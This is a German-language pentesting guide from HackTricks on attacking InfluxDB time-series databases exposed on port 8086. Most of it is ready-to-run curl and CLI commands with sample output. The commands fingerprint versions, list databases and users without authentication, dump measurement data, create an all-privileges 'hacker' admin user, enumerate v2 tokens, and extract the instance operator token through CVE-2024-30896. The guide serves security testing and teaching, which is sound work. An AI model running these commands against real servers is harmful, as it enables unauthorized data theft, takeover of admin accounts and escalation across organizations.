8086 - Pentesting InfluxDB

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

InfluxDB ist eine Open-Source-Zeitreihen-Datenbank (TSDB), entwickelt von InfluxData. TSDBs sind für das Speichern und Bereitstellen von Zeitreihendaten optimiert, die aus Zeitstempel-Wert-Paaren bestehen. Im Vergleich zu allgemeinen Datenbanken bieten TSDBs deutliche Verbesserungen beim Speicherplatz und der Performance für Zeitreihen-Datensätze. Sie verwenden spezialisierte Kompressionsalgorithmen und können so konfiguriert werden, dass alte Daten automatisch gelöscht werden. Spezialisierte Datenbankindizes verbessern zudem die Abfrageleistung.

Standardport: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Identifikation & Version (HTTP)

  • v1.x: GET /ping gibt Status 204 zurück und Header wie X-Influxdb-Version und X-Influxdb-Build.
  • v2.x+: GET /health gibt JSON mit der Serverversion und dem Status zurück. Funktioniert ohne auth.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

Tipp: exponierte Instanzen liefern oft auch Prometheus-artige Metriken unter /metrics.

Aufklärung

Aus Sicht eines Pentesters ist dies eine weitere Datenbank, die sensible Informationen speichern könnte, daher ist es interessant zu wissen, wie man alle Informationen ausliest.

Authentifizierung

InfluxDB kann Authentifizierung erfordern oder nicht

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

Wenn du einen Fehler wie diesen bekommst: ERR: unable to parse authentication credentials bedeutet das, dass einige credentials erwartet werden.

influx –username influx –password influx_pass

In influxdb gab es eine Sicherheitslücke, die eine Umgehung der Authentifizierung ermöglichte: CVE-2019-20933

Manual Enumeration (v1 HTTP API / InfluxQL)

Selbst wenn keine CLI verfügbar ist, ist die HTTP API normalerweise auf Port 8086 erreichbar.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

Bei einigen Tests mit dem authentication bypass wurde festgestellt, dass der Tabellenname in doppelte Anführungszeichen gesetzt werden muss, z. B.: select * from "cpu"

Wenn authentication deaktiviert ist, kannst du sogar Benutzer erstellen und escalate:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

Die Informationen des folgenden CLI-Beispiels stammen von here.

Datenbanken anzeigen

Die gefundenen Datenbanken sind telegraf und internal (diese findest du überall)

> show databases
name: databases
name
----
telegraf
_internal

Tabellen/measurements anzeigen

Die InfluxDB documentation erklärt, dass measurements in InfluxDB mit SQL-Tabellen vergleichbar sind. Die Benennung dieser measurements deutet auf ihren jeweiligen Inhalt hin; jede enthält Daten, die für eine bestimmte Entität relevant sind.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

Zeige Spalten/Feldschlüssel

Die Feldschlüssel sind wie die Spalten der Datenbank

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Table

Und schließlich können Sie dump the table wie folgt ausführen:

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (Token-based)

InfluxDB 2.x führt token-basierte Auth und eine neue API ein (standardmäßig weiterhin auf 8086). Wenn Sie ein Token erhalten (leaked logs, default deployments, backups), können Sie folgendes auflisten:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

Hinweise

  • Für v1.8+ existieren einige v2-kompatible Endpunkte (/api/v2/query, /api/v2/write, /health). Das ist nützlich, wenn der Server v1 ist, aber v2-artige Anfragen akzeptiert.
  • In v2 muss der HTTP-Header Authorization in der Form Token <value> sein.

Automated Enumeration

msf6 > use auxiliary/scanner/http/influxdb_enum

Recent vulns and privesc of interest (in den letzten Jahren)

  • InfluxDB OSS 2.x bis 2.7.11: Offenlegung des Operator-Tokens (CVE-2024-30896). Unter bestimmten Bedingungen konnte ein authentifizierter Benutzer mit Lesezugriff auf die authorization-Ressource in der default org das instanzweite Operator-Token auflisten und abrufen (z. B. via influx auth ls oder GET /api/v2/authorizations). Mit diesem Token kann ein Angreifer die Instanz administrieren (Buckets, Tokens, Benutzer) und auf alle Daten über alle orgs hinweg zugreifen. Auf eine korrigierte Version aktualisieren, sobald verfügbar, und vermeiden, reguläre Nutzer in der default org zu platzieren. Schnelltest:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • Viele legacy 1.x deployments stellen /query und /write weiterhin unauthenticated im Internet zur Verfügung. Wenn auth deaktiviert ist, kannst du time-series nach Belieben auslesen oder sogar verändern; du kannst auch admin users wie oben gezeigt anlegen. Verifiziere immer mit der HTTP API, auch wenn die CLI dich blockiert.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks